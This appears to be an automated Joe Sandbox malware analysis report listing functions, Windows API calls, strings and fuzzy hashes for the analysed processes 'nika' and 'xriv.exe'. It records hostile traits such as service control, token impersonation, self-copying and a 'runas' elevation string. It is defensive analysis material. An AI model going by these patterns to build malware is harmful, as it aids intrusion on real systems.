Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 0f2f3216d3632c1537140222ade97ed4171d7be3c3edf1571af46cf33aecbf0b
Instruction ID: 0d10060bd32d1a0f1a2ecfc27da841474fff4beaf3ec2bac5054b7a823732be3
Opcode Fuzzy Hash: 0f2f3216d3632c1537140222ade97ed4171d7be3c3edf1571af46cf33aecbf0b
Instruction Fuzzy Hash: E951C670908A8D4FEB58EF28CC5A7F97BD1FB59311F10416EE84EC3292DE74A8418B85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC87B0B2D Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FFDC87B0BFA

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: c8071db29e843ab0697143bc5bc42d8162a12f9f2105ac6ba1cc0f1dedb20fad
Instruction ID: 109e2e10a9423426847a1f2bdc70ad2a84929c40a612fb095283d13b330df422
Opcode Fuzzy Hash: c8071db29e843ab0697143bc5bc42d8162a12f9f2105ac6ba1cc0f1dedb20fad
Instruction Fuzzy Hash: AE31A43190CA584FDB28DF989859AFABBF0EB65311F00426FD04ED3592DF706845CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC87B1A1D Relevance: 1.6, APIs: 1, Instructions: 120
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FFDC87B1ACB

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 1ee4445f8612f8c9c1c53dd09d61a2068b8f60df340346275d44251f90dc3e27
Instruction ID: fc038a620d6dee27823275ce6520b1b7d7f5c9ff2ad2259416c0609173930753
Opcode Fuzzy Hash: 1ee4445f8612f8c9c1c53dd09d61a2068b8f60df340346275d44251f90dc3e27
Instruction Fuzzy Hash: 5C31F53190CB588FDB18DF9D9845AF97BE0EF65321F04017FE08AD3292DB64A805CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC87B108A Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFDC87B1145

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 1c84739e97658b883ada4f636337fb37b7476901443d1203279c480ed5649086
Instruction ID: 65fbbe634686054972bc58a18c5a18301fcdd369ec920a58b8631202599edc0d
Opcode Fuzzy Hash: 1c84739e97658b883ada4f636337fb37b7476901443d1203279c480ed5649086
Instruction Fuzzy Hash: 7B31D43090C7889FDB0ADB688815BE97FF0EF57320F04429FD089C31A2DA696856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC87B1760 Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FFDC87B17F5

Memory Dump Source

Source File: 00000007.00000002.319415276.00007FFDC87B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC87B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffdc87b0000_nika.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 9d6d1cf6b69d0bbec7c3427f5ed731ab9147a4de3b89789de79ecd203ffc5263
Instruction ID: 414020586956865084124877d5e46864503d9a5d2df3e0a53f9e948d70214de1
Opcode Fuzzy Hash: 9d6d1cf6b69d0bbec7c3427f5ed731ab9147a4de3b89789de79ecd203ffc5263
Instruction Fuzzy Hash: 7431D43190CA4C8FDB58DF688845BF9BBE1FF66321F04422ED049C3192DB74A856CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: xriv.exePID: 3596, Parent PID: 616COMMON

Executed Functions

Function 0121A9A1 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0121E000,?,0121A9A0,0121AF26,?,0121E000,0121AF26,0121E000), ref: 0121A9C3
TerminateProcess.KERNEL32(00000000,?,0121A9A0,0121AF26,?,0121E000,0121AF26,0121E000), ref: 0121A9CA
ExitProcess.KERNEL32 ref: 0121A9DC

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2ca62b583ee3324943808e3d210dd6b8d31f22eab93f7804719cbab4d2006099
Instruction ID: 418282cc9f98a1267bc395d0e5e19090d03fc64125e7ce73d5ef540871d02a90
Opcode Fuzzy Hash: 2ca62b583ee3324943808e3d210dd6b8d31f22eab93f7804719cbab4d2006099
Instruction Fuzzy Hash: 4AE04F35011148BBCF31AF14D80CA9D3BA9EB20251F264425F50587125CB35EDC1EB80

Uniqueness

Uniqueness Score: -1.00%

Function 01217A74 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00017A80,01217776), ref: 01217A79

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f619417a5f90f278f77d2d100540a247f291d8e70f06d6ee3f5a38cf60e501e7
Instruction ID: 55bb6c35bc5a5fa5810b68dc5380d438aa31f5d36381cf333078b3ff5d1fdce4
Opcode Fuzzy Hash: f619417a5f90f278f77d2d100540a247f291d8e70f06d6ee3f5a38cf60e501e7
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0121704A Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(01239708,00000FA0,?,?,01217028), ref: 01217056
GetModuleHandleW.KERNELBASE(api-ms-win-core-synch-l1-2-0.dll,?,?,01217028), ref: 01217061
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,01217028), ref: 01217072
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 01217084
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 01217092
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,01217028), ref: 012170B5
___scrt_fastfail.LIBCMT ref: 012170C6
DeleteCriticalSection.KERNEL32(01239708,00000007,?,?,01217028), ref: 012170D1
CloseHandle.KERNEL32(00000000,?,?,01217028), ref: 012170E1

Strings

kernel32.dll, xrefs: 0121706D
SleepConditionVariableCS, xrefs: 0121707E
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0121705C
WakeAllConditionVariable, xrefs: 0121708A

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: 54f5ef6d027c75c0edc1d15c0bbe58a6625dea8048943babdb2959d0fc3c5009
Instruction ID: 2cb08f738ff54e642cb56805b09433001b314c2c11b9dcbcd72be97f056f01dd
Opcode Fuzzy Hash: 54f5ef6d027c75c0edc1d15c0bbe58a6625dea8048943babdb2959d0fc3c5009
Instruction Fuzzy Hash: 8001B9B46713117BEF325F797C0D99E3AD8DB95B40B121024FB00D624CEAB488009760

Uniqueness

Uniqueness Score: -1.00%

Function 012226AF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01222368: CreateFileW.KERNELBASE(00000000,00000000,?,01222758,?,?,00000000,?,01222758,00000000,0000000C), ref: 01222385

GetLastError.KERNEL32 ref: 012227C3
__dosmaperr.LIBCMT ref: 012227CA
GetFileType.KERNELBASE(00000000), ref: 012227D6
GetLastError.KERNEL32 ref: 012227E0
__dosmaperr.LIBCMT ref: 012227E9
CloseHandle.KERNEL32(00000000), ref: 01222809
CloseHandle.KERNEL32(0121D4F0), ref: 01222956
GetLastError.KERNEL32 ref: 01222988
__dosmaperr.LIBCMT ref: 0122298F

Strings

H, xrefs: 01222914

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 0ff792623eb08b247d4e25ed487d2d39908aad7d77ad1e43358e80a5689f99e7
Instruction ID: ee852758f84aa34dae8c49a14ff159b66db301ae37e3c299081c22bf9a2e98c8
Opcode Fuzzy Hash: 0ff792623eb08b247d4e25ed487d2d39908aad7d77ad1e43358e80a5689f99e7
Instruction Fuzzy Hash: 27A14732A24165EFCF29DF68D855BBD3BF1AB0A320F140159F911AF391CB769842CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01209C30 Relevance: 7.7, APIs: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 01209C90

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 590676a2a6e8bd8b7fb2b06ea83b4dd5708044aea8cc5ef9800938312201dc1c
Instruction ID: f492b8cd1efc6d3ca2db0cada90fb1529ccae6902ca32179e25d8994c3766c54
Opcode Fuzzy Hash: 590676a2a6e8bd8b7fb2b06ea83b4dd5708044aea8cc5ef9800938312201dc1c
Instruction Fuzzy Hash: 47A190B09102688BDF21DB24CC447DDBBB9AB55314F8046D8D60967282DB755FC8CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 01203FF0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 470
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 012042B9
SetCurrentDirectoryA.KERNEL32(00000000,FDD920DC), ref: 01204364

Strings

runas, xrefs: 01203B63

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: CurrentDirectorySleep
String ID: runas
API String ID: 16921501-4000483414
Opcode ID: 073ac07f9132f189e8d4262f923c55a653e73306d01ec7ea6ded729505ba3f46
Instruction ID: 633245dc0b609e5cd836f58ca65e5b0112f0e9d3c6793b1451d6dd646d89e393
Opcode Fuzzy Hash: 073ac07f9132f189e8d4262f923c55a653e73306d01ec7ea6ded729505ba3f46
Instruction Fuzzy Hash: 18E16C71A202849FDB09EB78CC457ADBFB5EFA1314F54835CE501AB3C6DB758A408792

Uniqueness

Uniqueness Score: -1.00%

Function 0120A032 Relevance: 4.6, APIs: 3, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?), ref: 0120A04D
GetFileAttributesA.KERNELBASE(?,?,?,?,?), ref: 0120A068
CopyFileA.KERNEL32 ref: 0120A1A5

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: File$AttributesCopyCreateDirectory
String ID:
API String ID: 210682061-0
Opcode ID: 37d09420753e7a9d66896993eb66124d92d376eed8909340d3bf9934ab44adbd
Instruction ID: 6bb025133726da9bb76a95e996ff0ec18bf7a8236372db5a83d8fc76a1bf23ef
Opcode Fuzzy Hash: 37d09420753e7a9d66896993eb66124d92d376eed8909340d3bf9934ab44adbd
Instruction Fuzzy Hash: E6410BB1A202188FDB25DB28CC8979CBB75AF65314F8406DCD609A72C3DB355BC48F66

Uniqueness

Uniqueness Score: -1.00%

Function 01220A55 Relevance: 4.6, APIs: 3, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 01220A5E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 01220ACC

Part of subcall function 01220971: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,01224B40,?,00000000,00000000), ref: 01220A13

Part of subcall function 0121DB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,01218272,?,?,?,?,?,012020C3,?,?), ref: 0121DB6E

_free.LIBCMT ref: 01220ABD

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: e1dfad1857ee5f32cc72efee21fb691a9d6367ce10add0775825c44184783c2d
Instruction ID: 08de661fefb8fe1fa8a5cc4f39a6e3491bf602c39c9e29b0a1a2569662df8dc5
Opcode Fuzzy Hash: e1dfad1857ee5f32cc72efee21fb691a9d6367ce10add0775825c44184783c2d
Instruction Fuzzy Hash: C401ACA36212767F773155BA1C8CC7F6D6DCED2D903450229FB05D2204FD658D0282B8

Uniqueness

Uniqueness Score: -1.00%

Function 01209D04 Relevance: 3.3, APIs: 2, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 01209EB5
CopyFileA.KERNEL32 ref: 0120A1A5

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: File$CopyModuleName
String ID:
API String ID: 4108865673-0
Opcode ID: 60d10041f85a72e62e0cf088379b30e26ea4be7a449f939505c47377f6419f71
Instruction ID: e1a2f22e41dbbae26181ac2e39a2ef4dae3c4863f959641af84ac6c48788a1e3
Opcode Fuzzy Hash: 60d10041f85a72e62e0cf088379b30e26ea4be7a449f939505c47377f6419f71
Instruction Fuzzy Hash: BAC16AB1A202558BDF25DB28CC487ADBB75ABA1214F8442DCD24DA72C3DB319FC48F65

Uniqueness

Uniqueness Score: -1.00%

Function 0121C59C Relevance: 3.1, APIs: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0121C60A
_free.LIBCMT ref: 0121C62A

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9d34a03dca84f4d8663d9bdbd88c18d34bc0fd4ada6dae1423be0642be56ae4a
Instruction ID: ef486b85e1d7ffc7cb538dfe0f3b499c73ef79b6af472903e3feba62ad55e1af
Opcode Fuzzy Hash: 9d34a03dca84f4d8663d9bdbd88c18d34bc0fd4ada6dae1423be0642be56ae4a
Instruction Fuzzy Hash: FB41C276A10215AFCB20DF68C880A6EB7F5EFE9714B1645A9DA15EB345D730ED02CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01224D8F Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 01224DB0

Part of subcall function 0121DB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,01218272,?,?,?,?,?,012020C3,?,?), ref: 0121DB6E

RtlReAllocateHeap.NTDLL(00000000,?,?,00000004,00000000,?,01220E8A,?,00000004,00000002,?,?,?,0121C625,?,00000002), ref: 01224DEC

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: feb5cebf922a56195c6e52ffdebcf452b87137afebcc93f7ff5f1a3ad440ced1
Instruction ID: de6e056ce77e9d15dd6cd08572cb1321142041043650dc7299382ec9eb279ce5
Opcode Fuzzy Hash: feb5cebf922a56195c6e52ffdebcf452b87137afebcc93f7ff5f1a3ad440ced1
Instruction Fuzzy Hash: 13F0F6322701B77ADB327E6AEC04FBF2BA89FA1570F11021AFE549A1C0DB20C50081A1

Uniqueness

Uniqueness Score: -1.00%

Function 0121C25D Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0121C2A5

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9fc3c9f86e3ec65aea9a1b526994be93efd9134285bf46c12ed262d9b460d059
Instruction ID: e3fdba9b9fcbaca74cbc6bc068639ded21d4e0f2d59133d2d416e00e8e9b955d
Opcode Fuzzy Hash: 9fc3c9f86e3ec65aea9a1b526994be93efd9134285bf46c12ed262d9b460d059
Instruction Fuzzy Hash: 9EE0E5266655635BE632EABE78042FD17C05BB2738F114726E62CC60C8DFB4449186A5

Uniqueness

Uniqueness Score: -1.00%

Function 01215E20 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 01215F53

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction ID: 91f6c522de07e4b90ce218674ba38d799bfa5b5f43368a65cf3f4a57825ad542
Opcode Fuzzy Hash: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction Fuzzy Hash: 96311671A202019BD728DE7CD88057EBBE9EBB6220B2443BEEA25C7385D77099448791

Uniqueness

Uniqueness Score: -1.00%

Function 01217403 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0120218E

Part of subcall function 01218483: RaiseException.KERNEL32(E06D7363,00000001,00000003,0120216C,?,?,?,0120216C,?,01236D1C), ref: 012184E3

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID:
API String ID: 3109751735-0
Opcode ID: 278bf3adacdb062bd876796adc151054d6cdda24f30374ec1f8e470d13b65855
Instruction ID: 0913f46a386fe3af4a2a6cfbfb0f891f24f1a67862d06731b7be85af4b1ddeb7
Opcode Fuzzy Hash: 278bf3adacdb062bd876796adc151054d6cdda24f30374ec1f8e470d13b65855
Instruction Fuzzy Hash: AB01267587020EB7CB14FBE8EC058A9BBFCDE35110B508635FB14A6545FBB0E65486D1

Uniqueness

Uniqueness Score: -1.00%

Function 0121D4B1 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 0121D4EB

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: c816fe522384515d78a8bce8c58903938f2fdd8c9b75a2791bf9c2640bf77320
Instruction ID: c856b37e325a0cf9aaaea186ea2bebd2cf9c2bbfd4c250a70b280123700bd13e
Opcode Fuzzy Hash: c816fe522384515d78a8bce8c58903938f2fdd8c9b75a2791bf9c2640bf77320
Instruction Fuzzy Hash: 9C111872A0420AAFCF05DF98E94499B7BF4EF48308F054069F805AB251E670EA11CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0121ED56 Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0121F925: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0121E0E6,00000001,00000364,00000006,000000FF,?,?,01218272,?), ref: 0121F966

_free.LIBCMT ref: 0121EDC5

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

